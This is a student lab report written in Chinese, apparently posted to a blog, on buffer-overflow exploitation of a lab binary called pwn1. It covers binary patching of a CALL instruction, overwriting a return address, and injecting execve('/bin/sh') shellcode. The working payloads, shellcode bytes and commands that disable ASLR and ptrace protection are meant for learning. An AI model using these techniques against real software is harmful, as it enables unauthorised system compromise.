20252901 2025-2026-2 《网络攻防实践》实践九报告

20252901 程宇 2025-2026-2 《网络攻防实践》实践九报告

一、实践内容概述

本次实验以Linux可执行文件pwn1为目标程序,该程序的正常执行流程为main函数调用foo函数,foo函数仅负责将用户输入的字符串回显输出。程序中还包含一个未被调用的getShell函数,该函数能够返回一个交互式Shell。本次实验需要通过三种不同的技术手段,劫持程序的执行流程,使程序运行getShell函数并获取Shell,从而深入理解缓冲区溢出漏洞的原理与利用方式。

本次实验包含三个核心实践任务:

1. 动手实践任务一:手工修改可执行文件,改变程序执行流程

直接编辑程序的二进制机器码,修改CALL指令的操作数,使main函数转而调用getShell函数,实现程序执行流的静态劫持。

2. 动手实践任务二:利用foo函数的BoF漏洞,构造攻击字符串触发getShell

分析foo函数中gets函数导致的缓冲区溢出漏洞,精心构造恶意输入字符串覆盖栈中的返回地址,使程序在foo函数返回时跳转到getShell函数执行。

3. 动手实践任务三:注入自定义Shellcode并执行

构造包含自定义Shellcode的攻击载荷,借助缓冲区溢出漏洞将Shellcode注入程序内存空间,并劫持程序执行流运行该Shellcode,实现不依赖程序内建getShell函数的Shell获取。

实验要求

  • 掌握NOP、JNE、JE、JMP、CMP、CALL、RET等核心汇编指令对应的机器码å
  • 熟练使用反汇编工具与十六进制编辑器,完成二进制文件的分析与修改
  • 能够通过修改机器指令,精准改变程序的正常执行流程
  • 理解缓冲区溢出攻击的核心原理,能够独立构造攻击载荷(Payload)完成BoF攻击

实验相关理论知识

缓冲区溢出(Buffer Overflow)

缓冲区溢出是一种高危软件安全漏洞,其本质是程序向内存缓冲区写入数据时超出了预分配的内存边界,导致多余的数据覆盖了相邻的内存区域。攻击者可借此覆盖内存中的函数返回地址、函数指针等关键控制信息,从而劫持程序执行流,执行恶意代码。

BoF(Buffer Overflow)攻击原理

BoF攻击的核心在于利用无边界检查的输入函数(如本实验中的gets函数),向缓冲区写入超长数据以覆盖栈帧中函数的返回地址。当被攻击的函数执行ret指令时,CPU会将被覆盖的恶意地址加载到指令指针寄存器(EIP)中,从而跳转到攻击者指定的内存地址执行代码。

一个完整的BoF攻击Payload通常由三部分组成:填充数据(填满缓冲区与栈帧保留空间)、恶意返回地址(覆盖原函数返回地址)、Shellcode(攻击者想要执行的恶意代码),部分场景还会在Shellcode前添加NOP空指令滑板来提升攻击成功率。

Shellcode

Shellcode是一段可直接被CPU执行的机器码,因通常用于获取目标系统的交互式Shell而得名。Shellcode需针对目标CPU架构(本实验为x86 32位)编写,同时需满足体积精简、无坏字符等要求,确保能在漏洞利用场景中正常执行。

核心工具与汇编指令

  • 反汇编工具:objdump可将二进制可执行文件的机器码转换为汇编代码,用于分析程序的函数调用逻辑与指令序列;gdb是Linux下的程序调试工具,可动态跟踪程序执行、设置断点、查看内存与寄存器状态
  • 十六进制编辑工具:xxd可将二进制文件转换为十六进制格式,也可将十六进制数据还原为二进制,用于手工修改可执行文件的机器码
  • 核心汇编指令机器码
汇编指令 机器码 指令功能
NOP 0x90 空操作,CPU不执行任何动作,仅占用一个时钟周期
CALL 0xE8 函数调用,将下一条指令地址压栈后跳转到目标地址执行
RET 0xC3 函数返回,从栈中弹出返回地址加载到EIP,继续执行
JMP 0xE9/0xEB 无条件跳转,分为近跳转与短跳转
JE/JZ 0x74 相等/结果为0时跳转
JNE/JNZ 0x75 不相等/结果非0时跳转
CMP 0x39 比较两个操作数,根据结果设置标志寄存器

二、实践步骤与过程

任务一:手工修改可执行文件,改变程序执行流程

本任务的核心是修改main函数中call foo指令的机器码,将调用目标从foo函数改为getShell函数,直接在二进制层面劫持程序执行流。

步骤1:实验环境基础配置

Kali虚拟机主机名修改

为满足实验规范,将Kali主机名修改为「学号+姓名缩写」,提供两种修改方式:

修改方法一:

sudo su                  # 切换到root权限
hostname 学号姓名缩写     # 直接修改主机名
hostname                 # 验证修改结果

image

修改方法二:

# 修改配置文件实现永久修改
sudo vim /etc/hostname
# 删除原有内容,输入学号姓名缩写,:wq退出,并重启虚拟机

image

image

目标程序准备

将实验所需的pwn1文件下载并传输到Kali虚拟机桌面,为区分原始文件与修改后文件,对其进行重命名:

cd Desktop              # 切换到桌面目录
ls                      # 查看目录文件,确认pwn1存在
mv pwn1 pwn学号姓名缩写  # 重命名文件
ls                      # 验证重命名结果

image

步骤2:程序反汇编与逻辑分析

使用objdump工具对重命名后的程序进行反汇编,分析核心函数的地址与调用逻辑:

objdump -d pwn学号姓名缩写 | more   # 反汇编程序并分页显示(按回车显示more)

image

通过反汇编结果,提取三个核心函数的关键信息:

  • main函数:地址范围080484af ~ 080484c0,其中080484b5地址处为call 8048491 <foo>指令,机器码为e8 d7 ff ff ff。该指令长度为5字节,下一条指令的地址为080484ba(080484b5 + 5)
  • foo函数:起始地址为08048491,函数内部仅调用gets与puts函数,实现用户输入的读取与回显,无输入长度检查
  • getShell函数:起始地址为0804847d,函数内部调用system函数执行/bin/sh,可返回交互式Shell
    image

步骤3:CALL指令偏移量计算

x86架构中,CALL指令的机器码格式为0xE8 + 4字节相对偏移量,偏移量计算公式为:

目标函数地址 - CALL指令下一条指令的地址 = 相对偏移量

  • 原始调用foo函数的偏移量计算:08048491 - 080484ba = 0xffffffd7(负数用补码表示),小端序存储为d7 ff ff ff,与反汇编结果一致
  • 目标调用getShell函数的偏移量计算:0804847d - 080484ba = 0xffffffc3,小端序存储为c3 ff ff ff

因此,只需将call foo指令机器码中的d7 ff ff ff修改为c3 ff ff ff,即可让main函数调用getShell而非foo。

步骤4:二进制文件的十六进制编辑

使用vim编辑器打开目标程序,初始打开为二进制乱码,需通过xxd转换为十六进制格式:

vim pwn学号姓名缩写
# 进入vim后,按ESC进入命令模式,输入以下命令转换为十六进制
:%!xxd

image

在十六进制模式下,查找目标机器码:

/e8 d7

image

定位到e8 d7 ff ff ff所在的行(000004b0),将其中的d7修改为c3,确保修改后机器码为e8 c3 ff ff ff
image

修改完成后,将十六进制格式还原为二进制格式:

:%!xxd -r

保存并退出vim编辑器:

:wq

步骤5:修改结果验证

反汇编验证:再次执行反汇编命令,查看main函数的调用逻辑:

objdump -d pwn学号姓名缩写 | more

image

可看到80484b5处已变为call 804847d <getShell>,机器码修改成功。

运行程序验证:执行修改后的程序,验证是否成功获取Shell:

./pwn学号姓名缩写

image

程序运行后直接进入Shell交互界面,可执行lswhoami等命令,任务一执行成功。


任务二:利用foo函数的BoF漏洞,构造攻击字符串触发getShell

本任务无需修改程序源文件,仅通过构造恶意输入字符串,利用foo函数的缓冲区溢出漏洞,覆盖栈中的返回地址,劫持程序执行流至getShell函数。

步骤1:foo函数栈结构与漏洞分析

通过反汇编结果分析foo函数的栈帧布局:

804849a: 89 04 24              mov    %eax,(%esp)      # 将缓冲区地址作为gets参数
804849d: e8 8e fe ff ff        call   8048330 <gets@plt>  # 调用无边界检查的gets函数
80484a2: 8d 45 e4              lea    -0x1c(%ebp),%eax
80484a5: 89 04 24              mov    %eax,(%esp)
80484a8: e8 93 fe ff ff        call   8048340 <puts@plt>
80484ad: c9                    leave                    # 恢复ebp与esp
80484ae: c3                    ret                      # 弹出返回地址到EIP

image

关键结论:

  • gets函数读取的用户输入存储在ebp-0x1c的缓冲区中,缓冲区大小为0x1c(即28字节)
  • 栈中从缓冲区起始地址到函数返回地址的内存布局为:28字节缓冲区 + 4字节旧EBP值 + 4字节返回地址
  • 当输入字符串长度超过28字节时,会依次覆盖旧EBP值与返回地址;当输入长度达到32字节时,第33~36字节会完全覆盖栈中的返回地址

步骤2:构造攻击Payload

为了让foo函数执行ret指令时跳转到getShell函数执行,需满足:

  • 前28字节为任意填充数据,填满缓冲区
  • 第29~32字节为任意填充数据,覆盖旧EBP值
  • 第33~36字节为getShell函数的起始地址0x0804847d,由于x86架构采用小端序存储,需写为\x7d\x84\x04\x08

步骤3:生成Payload文件

使用perl语言构造包含二进制Payload的文件,解决终端无法直接输入十六进制字符的问题:

# 构造Payload,前32字节为填充数据,后4字节为小端序的getShell地址
perl -e 'print "A" x 32;print "\x7d\x84\x04\x08"' > input_2901cy

通过xxd命令验证生成的Payload文件内容:

xxd input_2901cy

image

可看到文件前32字节为填充的0x41(字符'A'的ASCII码),后4字节为7d 84 04 08,Payload构造成功。

步骤4:执行BoF攻击并验证

通过管道符将Payload文件内容作为目标程序的输入,触发缓冲区溢出攻击:

# 为程序添加可执行权限(若未添加)
chmod u+x ./pwn1
# 执行攻击,cat input文件后追加cat保持Shell交互
(cat input_2901cy; cat) | ./pwn1

image

程序运行后,成功进入Shell交互界面,可执行lswhoami等系统命令,说明返回地址覆盖成功,getShell函数被正常触发,任务二执行成功。


任务三:注入自定义Shellcode并执行

本任务需构造包含自定义Shellcode的攻击载荷,通过缓冲区溢出漏洞将Shellcode注入程序内存空间,并劫持程序执行流运行这段Shellcode,实现不依赖程序自带getShell函数的Shell获取。

步骤1:前置工具安装与环境配置

execstack工具安装

execstack工具用于设置程序堆栈的可执行权限,是Shellcode注入攻击的前置条件。安装过程中需解决常见的软件源与锁占用问题:

方法一:apt在线安装

# 更新软件源
sudo apt-get update
sudo apt-get upgrade
# 安装execstack
sudo apt install execstack

安装失败问题处理:若提示Unable to locate package execstack,需编辑软件源配置文件:

sudo vim /etc/apt/sources.list

添加以下源后重新更新安装:

deb http://http.kali.org/kali kali-rolling main contrib non-free
deb http://old.kali.org/kali moto main non-free contrib

方法二:离线安装(在线安装失败时使用)

手动下载execstack的deb安装包,传输到Kali虚拟机后执行(下载链接: http://archive.ubuntu.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb ):

sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb

image

设置程序堆栈可执行

关闭Linux系统的堆栈保护机制,允许在栈上执行代码:

# 设置目标程序堆栈可执行
sudo execstack -s ./pwn1
# 验证设置结果,输出包含X则表示设置成功
sudo execstack -q ./pwn1

image

关闭内核地址随机化

地址空间布局随机化(ASLR)会导致栈地址每次运行都发生变化,无法精准定位Shellcode地址,需临时关闭该机制:

# 关闭地址随机化,0为关闭,2为开启
sudo sh -c 'echo "0" > /proc/sys/kernel/randomize_va_space'
# 验证关闭结果,输出0则表示关闭成功
more /proc/sys/kernel/randomize_va_space

image

步骤2:构造初始攻击Payload

本次采用返回地址 + NOP滑板 + Shellcode的Payload结构,各部分作用如下:

  • 填充数据:32字节的任意数据,用于填满缓冲区并覆盖旧EBP
  • 占位返回地址:4字节的\x01\x02\x03\x04,用于后续调试中定位栈中返回地址的位置
  • NOP滑板:多字节的\x90(NOP指令),CPU执行时会依次滑过,最终进入Shellcode,大幅提升攻击成功率
  • 自定义Shellcode:x86 32位Linux下执行execve("/bin/sh")的机器码,无坏字符,可直接获取交互式Shell

使用perl生成初始Payload文件:

perl -e 'print "A" x 32;print "\x01\x02\x03\x04\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode

Shellcode核心汇编逻辑说明:

31 c0     xor %eax,%eax      ; 清空eax寄存器
50        push %eax           ; 字符串结束符0入栈
68 2f 2f 73 68  push 0x68732f2f  ; "//sh"入栈
68 2f 62 69 6e  push 0x6e69622f  ; "/bin"入栈
89 e3     mov %esp,%ebx       ; ebx指向"/bin//sh"字符串
50        push %eax           ; 环境变量参数入栈
53        push %ebx           ; 程序路径参数入栈
89 e1     mov %esp,%ecx       ; ecx指向参数数组
31 d2     xor %edx,%edx       ; 清空edx寄存器
b0 0b     mov $0xb,%al        ; execve系统调用号为11(0xb)
cd 80     int $0x80           ; 触发系统调用,执行/bin/sh

步骤3:GDB调试确定Shellcode内存地址

运行目标程序:在第一个终端执行以下命令,让程序加载初始Payload并保持运行:

(cat input_shellcode; cat) | ./pwn1

image

查看程序进程号:打开第二个终端,执行以下命令查找pwn1的进程PID:

ps -ef | grep pwn1

image

输出结果中,./pwn1对应的进程号即为目标PID。

GDB附加调试进程:在第二个终端启动gdb并附加到目标进程:

gdb
# gdb内执行,附加到目标进程
attach 目标PID

image

设置断点并查看栈地址

反汇编foo函数,找到ret指令的地址(0x080484ae):

(gdb) disassemble foo

image

在ret指令处设置断点,确保程序执行到函数返回前暂停:

(gdb) break *0x080484ae

让程序继续执行到断点处(在第一个终端按下回车键后,gdb终端执行):

(gdb) c

程序断在断点处后,查看栈顶指针寄存器esp的值:

(gdb) info r esp

输出:esp 0xffffcf7c 0xffffcf7c,即返回地址存储在0xffffcf7c

image

查看该地址的内存内容,验证占位返回地址的位置:

(gdb) x/16x 0xffffcf7c

可看到0xffffcf7c地址处的值为0x04030201,其后紧跟0x90909090(NOP滑板),说明返回地址后紧跟的就是NOP滑板与Shellcode。

确定最终返回地址:为了让CPU执行到NOP滑板并滑入Shellcode,将返回地址设置为esp + 4,或直接使用NOP滑板的地址,小端序表示为\x2c\xcf\xff\xff

步骤4:构造最终Payload并执行攻击

替换占位返回地址为调试得到的实际地址,重新生成最终Payload文件:

perl -e 'print "A" x 32;print "\x2c\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode

执行最终的Shellcode注入攻击:

(cat input_shellcode; cat) | ./pwn1

image

程序运行后成功进入交互式Shell,可正常执行系统命令,说明自定义Shellcode被成功注入并执行,任务三执行成功。


三、学习中遇到的问题及解决方法

问题编号 问题现象 问题原因 解决方案
1 gdb attach进程时提示ptrace: Operation not permitted 非root用户无权限使用ptrace跟踪其他进程,或系统开启了ptrace保护机制 1. 切换到root用户执行gdb attach操作;2. 临时关闭ptrace保护:sudo sh -c 'echo 0 > /proc/sys/kernel/yama/ptrace_scope'
2 执行BoF攻击时程序提示segmentation fault段错误 Payload构造错误,包括填充字节数错误、返回地址大小端序错误、Shellcode包含坏字符 1. 重新分析foo函数栈结构,确认缓冲区大小与填充字节数;2. 严格按照小端序编写返回地址,通过xxd验证Payload文件内容;3. 更换无坏字符的标准Shellcode,增加NOP滑板长度
3 vim打开二进制文件修改后程序无法运行 未通过xxd -r将十六进制还原为二进制,直接保存了十六进制文本,破坏了ELF文件结构 严格遵循「:%!xxd转换十六进制 → 修改 → :%!xxd -r还原二进制 → 保存退出」的流程操作,修改完成后先通过objdump反汇编验证,再运行程序

四、实践总结

本次实验通过三种不同的技术手段,完整实现了对Linux 32位程序的缓冲区溢出攻击——从静态修改二进制文件劫持执行流,到动态利用BoF漏洞触发内置函数,再到自定义Shellcode注入执行,层层递进地深入理解了缓冲区溢出漏洞的原理与利用方式。

在实验过程中,我不仅掌握了objdump、gdb、xxd等二进制分析工具的使用方法,更深入理解了x86架构下程序的栈帧布局、函数调用与返回的底层机制,以及CALL、RET等汇编指令对程序执行流的控制逻辑。同时,实验中遇到的各类权限、程序崩溃问题,也极大地锻炼了我的问题排查与解决能力,让我认识到漏洞利用的精准性至关重要——一个字节的偏移错误就会导致攻击失败。

本次实验也让我深刻认识到软件安全的底层风险。一个简单的无边界检查gets函数,就可能导致整个程序被完全劫持。在日常的软件开发中,必须严格遵循安全编码规范,使用带边界检查的安全函数,开启操作系统的堆栈保护、地址随机化等安全机制,从源头规避缓冲区溢出这类高危漏洞。


参考资料

posted @ 2026-05-06 22:33  行走的yu  阅读(53)  评论(0)    收藏  举报